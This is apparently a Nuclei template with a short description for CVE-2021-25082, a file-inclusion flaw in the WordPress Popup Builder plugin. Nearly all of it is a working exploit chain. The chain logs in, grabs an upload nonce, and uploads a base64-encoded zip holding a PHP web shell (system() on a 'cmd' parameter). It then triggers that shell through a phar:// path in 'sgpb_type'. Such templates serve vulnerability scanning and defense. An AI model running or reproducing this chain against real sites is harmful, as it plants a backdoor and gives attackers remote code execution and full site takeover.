Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter.
PoC
id: CVE-2021-25082
info:
name: WordPress Popup Builder < 4.0.7 - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter.
impact: |
Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise.
remediation: |
Update to version 4.0.7 or later
reference:
- https://wpscan.com/vulnerability/0f90f10c-4b0a-46da-ac1f-aa6a03312132/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25082
classification:
cve-id: CVE-2021-25082
epss-score: 0.05229
epss-percentile: 0.92092
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cwe-id: CWE-98
metadata:
verified: true
max-request: 5
tags: cve,cve2021,wordpress,wp-plugin,rce,popup-builder,authenticated,vkev,vuln
variables:
marker: "{{to_lower(rand_text_alpha(10))}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/upload.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, '_wpnonce')
condition: and
internal: true
extractors:
- type: regex
name: nonce
group: 1
regex:
- '"_wpnonce":"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/async-upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="name"
malicious.zip
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="action"
upload-attachment
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="_wpnonce"
{{nonce}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="async-upload"; filename="malicious.zip"
Content-Type: application/zip
{{base64_decode("UEsDBAoAAAAAAHINkVuOOgt7HwAAAB8AAAAJABwAUG9wdXAucGhwVVQJAAPHCkJpxwpCaXV4CwABBAAAAAAEAAAAADw/cGhwIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/PgpQSwECHgMKAAAAAAByDZFbjjoLex8AAAAfAAAACQAYAAAAAAABAAAApIEAAAAAUG9wdXAucGhwVVQFAAPHCkJpdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEATwAAAGIAAAAAAA==")}}
------WebKitFormBoundary{{randstr}}--
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "success", ".zip")
condition: and
internal: true
extractors:
- type: regex
name: upload_year
group: 1
internal: true
regex:
- 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.zip'
- type: regex
name: upload_month
group: 1
internal: true
regex:
- 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.zip'
- raw:
- |
GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(header, "application/zip")
condition: and
internal: true
- raw:
- |
GET /?sgpb_type=phar://wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip/&cmd=echo%20{{marker}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "{{marker}}")
condition: and
# digest: 490a0046304402206bd91e824c95c53061fdaa32df4a4bfaf4bbadc902725f4f943bab4692a5bda002206e819ca07e90787719da382c91a0417e0e6b31bc5c3a35ec6ac19e37a4386b79:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.